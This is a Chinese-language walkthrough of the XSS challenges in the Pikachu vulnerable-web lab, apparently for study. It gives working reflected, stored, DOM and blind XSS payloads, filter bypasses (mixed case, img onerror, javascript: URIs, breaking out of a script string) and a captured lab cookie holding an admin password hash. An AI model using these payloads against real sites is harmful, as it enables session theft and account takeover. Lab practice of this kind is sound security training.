pikachu xss
1. 反射型XSS(get)
输入<script>alert("test")</script>
发现有长度限制(maxlength), F12 修改对输入框的长度限制,或者直接改url并encode(url为:http://localhost:8080/vul/xss/xss_reflected_get.php?message=<script>alert("test")<%2Fscript>&submit=submit)
再次输入
<script>alert("test")</script>
发现弹框,执行了脚本,注入ok
2. 反射型XSS (post)
这一关是要求先用admin/123456账号登录,然后进入一个页面获取cookie
输入
<script>alert(document.cookie)</script>
直接弹框爆出cookie
ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815
3. 存储型XSS
这个的原理就是注入的payload会保存在后端数据库中,然后前端查询回显时payload被执行
<script>alert("test")</script>
当页面刷新时,就会弹框
4. DOM型XSS
这个是指输入不经过后端,直接被dom吸收成为html一部分,直接就在前段被执行了。
插入
<script>alert("test")</script>
发现不行,查看网页源代码找线索,发现题眼都给我们了,哈哈
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
这里我们的输入要和 <a
标签相结合使用
插入
'><img src="#" onmouseover="alert('xss')">
鼠标滑过图片即会弹框
插入
' onclick="alert('xss')">
点击下方的链接,也会弹框了
5 DOM型xss-x
这一题其实和上一题几乎是一样的,只是加入了交互,第一个页面框中出入qwe
,就会跳出一个可以点击的链接,同时url中携带了我们输入的内容
http://localhost:8080/vul/xss/xss_dom_x.php?text=qwe
分析源码:发现点击链接,会调用一个函数,函数会解析url,并获得text对应的value即qwe
, 并使用在了<a
标签中;于是就可以利用这一特性了
源码:
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
于是:
第一个框插入
'><img src="#" onmouseover="alert('xss')">
点击链接,再滑过图片,成功弹框
6 XSS盲打
XSS盲打主要是指发出的payload对本页面没什么影响,影响的是后台管理或者其他的页面
,注入后本页面是看不到效果的,比如本题需要去后台管理页面查看
直接插入
<script>alert("test")</script>
大名一列也可以注入,这里先不注随便写
根据提示中给出的后台登录页面,用admin账号登录,发现确实弹框,ok
7 xss 过滤
指前端后后端对输入的内容的关键字进行匹配,对敏感关键字不让输入,这题审计前端代码,看样子是后端在过滤
插入
# 1. 大小写绕过 ok
<SCRIPT>alert("jwt")</sCRIpt>
# 2. 双写绕过 本题失败
<scri<script>pt>alert(“jwt”)</scri</script>pt>
# 3. 注释干扰 本题失败
<scri<!--test-->pt>alert(“jwt”)</sc<!--test-->ript>
# 4. image标签注入 ok
<img src=x onerror=alert("jwt")>
8. XSS 之 htmlspecialchars
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数,这个函数默认情况下是 不会编码单引号的
语法:
$value = htmlspecialchars($_GET['value'], ENT_COMPAT);
# 第2个参数规定了如何处理引号
ENT_COMPAT # 默认,仅对双引号进行编码
ENT_QUOTES # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
''(单引号)成为 '
< (小于)成为 <
> (大于)成为 <
本题输入'"<>?#'13test
试试水
页面显示正常,查看网页源代码
<div class="page-content">
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p class='notice'>你的输入已经被记录:</p><a href=''"<>?#'13test'>'"<>?#'13test</a> </div>
</div>
发现被转码,除了单引号;那么可以利用这个特性进行注入
插入:
#' onclick=alert('jwt') '
实现弹框
9 XSS 之href输出
这里相对 8 更进了一步,使用了都htmlspecialchars函数,><"'&都被HTML实体化,且用户输入的在href标签里,可以考虑使用javascript协议来执行js代码
插入
javascript:alert('jwt')
生成的源码
<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<a href='javascript:alert('jwt')'> 阁下自己输入的url还请自己点一下吧</a> </div>
虽然也被转码,但是不影响JavaScript协议的解析,点击后成功弹窗
10 xss 之 js 输出
查看源码
<script>
$ms='kobe';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
可以通过payload闭合 script
标签来执行
插入
法1
'</script><script>alert('jwt')</script>
法2
'; alert(1); //
成功弹窗,本质是闭合script
,或者是$ms
的单引号